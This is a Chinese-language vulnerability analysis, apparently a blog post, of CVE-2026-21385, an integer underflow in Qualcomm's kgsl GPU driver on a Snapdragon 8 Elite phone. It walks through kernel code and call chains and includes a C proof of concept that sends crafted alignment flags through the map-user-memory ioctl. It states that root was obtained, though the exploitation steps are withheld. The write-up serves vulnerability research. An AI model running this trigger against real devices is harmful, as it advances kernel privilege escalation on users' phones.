实验环境

  • 小米15 (snapdragon 8 Elite)

漏洞分析

漏洞位于 kgsl 驱动上,相关 patch commit

有关 kgsl 的基本介绍可以阅读:Attacking the Qualcomm Adreno GPU

根据其描述可知为整数下溢。
kgsl_sharedmem.hkgsl_memdesc_get_align 函数内容如下

1
2
3
4
5
6
7
8
9
10
11
12
/*
* kgsl_memdesc_get_align - Get alignment flags from a memdesc
* @memdesc - the memdesc
*
* Returns the alignment requested, as power of 2 exponent.
*/
static inline int
kgsl_memdesc_get_align(const struct kgsl_memdesc *memdesc)
{
return FIELD_GET(KGSL_MEMALIGN_MASK, memdesc->flags);
}

其返回值为 (memdesc->flags & 0x00FF0000) >> 16,类型为 int 整型,取值范围为 0-0xff。

kgsl_iommu.ckgsl_iommu_get_gpuaddr 函数内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
static int kgsl_iommu_get_gpuaddr(struct kgsl_pagetable *pagetable,
struct kgsl_memdesc *memdesc)
{
int ret = 0;
u64 start, end, size, align;

if (WARN_ON(kgsl_memdesc_use_cpu_map(memdesc)))
return -EINVAL;

if (memdesc->flags & KGSL_MEMFLAGS_SECURE &&
pagetable->name != KGSL_MMU_SECURE_PT)
return -EINVAL;

size = kgsl_memdesc_footprint(memdesc);

align = max_t(uint64_t, 1 << kgsl_memdesc_get_align(memdesc),
PAGE_SIZE);

if (memdesc->flags & KGSL_MEMFLAGS_FORCE_32BIT) {
start = pagetable->compat_va_start;
end = pagetable->compat_va_end;
} else {
start = pagetable->va_start;
end = pagetable->va_end;
}

ret = get_gpuaddr(pagetable, memdesc, start, end, size, align);
/* if OOM, retry once after flushing lockless_workqueue */
if (ret == -ENOMEM) {
flush_workqueue(kgsl_driver.lockless_workqueue);
ret = get_gpuaddr(pagetable, memdesc, start, end, size, align);
}

return ret;
}

该函数通过 max_t 行获取 align,这里 align 变量为 u64 类型。我们可以控制 kgsl_memdesc_get_align 返回超大值 (eg.32)这样会导致其变为0,align赋值为 PAGE_SIZE。
kgsl.cget_svm_unmapped_area 函数内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
static unsigned long get_svm_unmapped_area(struct file *file,
struct kgsl_mem_entry *entry,
unsigned long addr, unsigned long len,
unsigned long flags)
{
struct kgsl_device_private *dev_priv = file->private_data;
struct kgsl_process_private *private = dev_priv->process_priv;
unsigned long align = get_align(entry);
unsigned long ret, iova;
u64 start = 0, end = 0;
struct vm_area_struct *vma;

if (flags & MAP_FIXED) {
/* Even fixed addresses need to obey alignment */
if (!IS_ALIGNED(addr, align))
return -EINVAL;

return set_svm_area(file, entry, addr, len, flags);
}

/* If a hint was provided, try to use that first */
if (addr) {
if (IS_ALIGNED(addr, align)) {
ret = set_svm_area(file, entry, addr, len, flags);
if (!IS_ERR_VALUE(ret))
return ret;
}
}

/* Get the SVM range for the current process */
if (kgsl_mmu_svm_range(private->pagetable, &start, &end,
entry->memdesc.flags))
return -ERANGE;

/* Find the first gap in the iova map */
iova = kgsl_mmu_find_svm_region(private->pagetable, start, end,
len, align);

while (!IS_ERR_VALUE(iova)) {
vma = find_vma_intersection(current->mm, iova, iova + len - 1);
if (vma) {
iova = vma->vm_start;
} else {
ret = set_svm_area(file, entry, iova, len, flags);
if (!IS_ERR_VALUE(ret))
return ret;

/*
* set_svm_area will return -EBUSY if we tried to set up
* SVM on an object that already has a GPU address. If
* that happens don't bother walking the rest of the
* region
*/
if ((long) ret == -EBUSY)
return -EBUSY;

}

iova = kgsl_mmu_find_svm_region(private->pagetable,
start, iova - 1, len, align);
}

return -ENOMEM;
}

其调用 get_align 函数获取 memdesc->flags 中的 alignment。get_align 定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static unsigned long get_align(struct kgsl_mem_entry *entry)
{
int bit = kgsl_memdesc_get_align(&entry->memdesc);

if (bit >= ilog2(SZ_2M))
return SZ_2M;
else if (bit >= ilog2(SZ_1M))
return SZ_1M;
else if (bit >= ilog2(SZ_64K))
return SZ_64K;

return SZ_4K;
}

这里则是通过 bit 与 ilog2()的比较来返回固定值,那么如上我们设置为一个超大值,这里会返回 SZ_2M。
可以发现,出现整数下溢后,在处理过程中会出现行为不一致的问题。
kgsl_iommu_get_gpuaddr的函数调用链如下:

1
2
3
4
5
6
7
kgsl_ioctl
-> kgsl_ioctl_helper
-> cmds[nr].func(kgsl_ioctl_map_user_mem)
-> kgsl_mem_entry_attach_and_map
-> kgsl_mem_entry_attach_to_process
-> kgsl_mem_get_gpuaddr
-> kgsl_iommu_get_gpuaddr(pt_ops->get_gpuaddr)

get_svm_unmapped_area 函数调用链如下:

1
2
3
kgsl_fops.get_unmapped_area
-> kgsl_get_unmapped_area
-> get_svm_unmapped_area

PoC 编写

首先获取目标手机的基本信息:

1
2
3
4
adb shell getprop ro.product.cpu.abi
# arm64-v8a
adb shell getprop ro.build.version.sdk
# 36
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include "include/uapi/linux/msm_kgsl.h"
#include <fcntl.h>
#include <linux/types.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>

int dev_fd;
size_t *spray_mem_ptrs[0x80];
size_t *victim_mem_ptr;
size_t *exp_mem_ptr;

void dump_hex(size_t *addr, size_t len) {
printf("[*] Dump addr: %zx\n", (size_t)addr);
for (int i = 0; i < (len / sizeof(*addr) / 2); i += 2) {
printf("[*]\t%zx %zx\n", addr[i], addr[i + 1]);
}
}

size_t *map_usermem(size_t size, size_t align) {
void *user_mem = mmap(NULL, size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (user_mem == MAP_FAILED) {
perror("[x] Failed to map user mem");
exit(-1);
}
printf("[*] Mapped user mem addr: 0x%zx\n", (size_t)user_mem);
memset(user_mem, 0x41, size);

struct kgsl_map_user_mem param = {.fd = -1,
.len = size,
.offset = 0,
.hostptr = (unsigned long)user_mem,
.memtype = KGSL_USER_MEM_TYPE_ADDR};

int err = 0;
param.flags = (align << KGSL_MEMALIGN_SHIFT);
printf("[*] Sending Malicious Requests...\n");
err = ioctl(dev_fd, IOCTL_KGSL_MAP_USER_MEM, &param);
if (err < 0) {
perror("[x] ioctl failed");
exit(-1);
}
printf("[+] Request succeeded! Got gpuaddr: 0x%lx - 0x%lx\n", param.gpuaddr,
param.gpuaddr + size);
// dump_hex(user_mem, 0x10);
return user_mem;
}

int main() {
printf("Poc for CVE-2026-21385\n");
dev_fd = open("/dev/kgsl-3d0", O_RDWR);
if (dev_fd < 0) {
perror("[x] Failed to open target device");
return -1;
}
printf("[*] open target device success.\n");
printf("[*] alloc gpuaddr 0 & 0x80000000\n");
exp_mem_ptr = map_usermem(0x1000, 0x1f);

victim_mem_ptr = map_usermem(0x1000, 24);

return 0;
}

在64bit模式下,在 assign gpuaddr 地址时,在 64bit 下会进入 _get_unmapped_area_hint 函数分支,该分支由于缺少校验机制,可以任意申请低地址

漏洞 exploit

接下来需要考虑如何基于该漏洞做利用

kgsl 内存管理

这里需要了解 kgsl 的内存布局,gpuaddr 到 物理地址的映射方法。
我们继续跟进 kgsl_mem_entry_attach_and_map 函数,其通过 kgsl_mem_entry_attach_to_process 函数获取到 gpuaddr 后,会调用 kgsl_mmu_map 函数进行内存映射。

pagetable 等结构体初始化

device->mmu->mmu-ops 在函数 kgsl_iommu_bind 函数中进行初始化,初始化为 kgsl_iommu_ops 变量。
当打开 /dev/kgsl-3d0 文件时,会调用 kgsl_open 函数,进行 page_table 的初始化,其调用链如下:

1
2
3
4
5
6
kgsl_open
-> kgsl_process_private_open()
-> kgsl_process_private_new() (alloc kgsl_process_private *private)
-> kgsl_mmu_getpagetable() (alloc kgsl_pagetable)
-> kgsl_iommu_getpagetable()
-> kgsl_iopgtbl_pagetable()

其进行了 kgsl_pagetable 的初始化,分配对象 kgsl_iommu_pt 并返回 pt->base,对应pt_opsiopgtbl_pt_ops
该对象为全局结构体,定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static const struct kgsl_mmu_pt_ops iopgtbl_pt_ops = {
.mmu_map = kgsl_iopgtbl_map,
.mmu_map_child = kgsl_iopgtbl_map_child,
.mmu_map_zero_page_to_range = kgsl_iopgtbl_map_zero_page_to_range,
.mmu_unmap = kgsl_iopgtbl_unmap,
.mmu_unmap_range = kgsl_iopgtbl_unmap_range,
.mmu_destroy_pagetable = kgsl_iommu_destroy_pagetable,
.get_ttbr0 = kgsl_iommu_get_ttbr0,
.get_context_bank = kgsl_iommu_get_context_bank,
.get_asid = kgsl_iommu_get_asid,
.get_gpuaddr = kgsl_iommu_get_gpuaddr,
.put_gpuaddr = kgsl_iommu_put_gpuaddr,
.set_svm_region = kgsl_iommu_set_svm_region,
.find_svm_region = kgsl_iommu_find_svm_region,
.svm_range = kgsl_iommu_svm_range,
.addr_in_range = kgsl_iommu_addr_in_range,
};

io_pgtable_ops 对象初始化位于各自os的驱动代码 arm_lpae_alloc_pgtable 函数中:

1
2
3
4
5
6
7
8
data->iop.ops = (struct io_pgtable_ops) {
.map = arm_lpae_map,
.map_pages = arm_lpae_map_pages,
.map_sg = arm_lpae_map_sg,
.unmap = arm_lpae_unmap,
.unmap_pages = arm_lpae_unmap_pages,
.iova_to_phys = arm_lpae_iova_to_phys,
};

memdesc->pages 以及 memdesc->sgt 结构体初始化位于 memdesc_sg_virt 函数中,调用链如下:

1
2
3
4
5
kgsl_ioctl_map_user_mem
->_map_usermem_addr
->kgsl_setup_useraddr
->kgsl_setup_anon_useraddr
->memdesc_sg_virt

其会通过 get_user_pages 获取到用户内存页page对象到 pages 字段。

kgsl_mmu_map

在 user_mem_map 命令中,获取到 gpuaddr 后,会调用 kgsl_mmu_map 函数将其映射到 GPU 中的 物理内存 上,这里调用 pagetable->pt_ops->mmu_map(pagetable, memdesc) 函数来进行映射。
查看 pt_ops 函数定义

后续

最终还是成功拿到root了,很大程度上受到了DarkNavy推文的启发。不过由于在公司内,已交付产品,具体利用细节就不公布了,此处丢个利用成功截图留念 : )